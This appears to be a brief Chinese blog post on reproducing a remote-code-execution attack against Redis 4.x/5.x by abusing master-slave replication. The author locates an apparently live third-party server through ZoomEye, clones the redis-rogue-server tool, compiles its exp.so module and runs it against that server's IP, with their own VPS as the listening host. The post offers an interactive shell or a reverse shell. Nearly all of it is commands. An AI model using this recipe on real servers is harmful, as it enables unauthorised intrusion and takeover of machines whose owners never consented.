redis4.x/5.x 基於主從複製 RCE 復現

環境準備

這裏我通過zoomeye找到一臺服務器34.70.67.23，上面開了redis4.0.6服務
準備exp 自己的vps 1.1.1.1

git clone https://github.com/n0b0dyCN/redis-rogue-server

編譯exp.so

cd /root/redis/redis-rogue-server/RedisModulesSDK/exp
make
cp exp.so /root/redis/redis-rogue-server/exp.so

執行

python3 redis-rogue-server.py --rhost 34.70.67.23 --lhost 1.1.1.1

可以選擇交互的方式或者反彈shell方式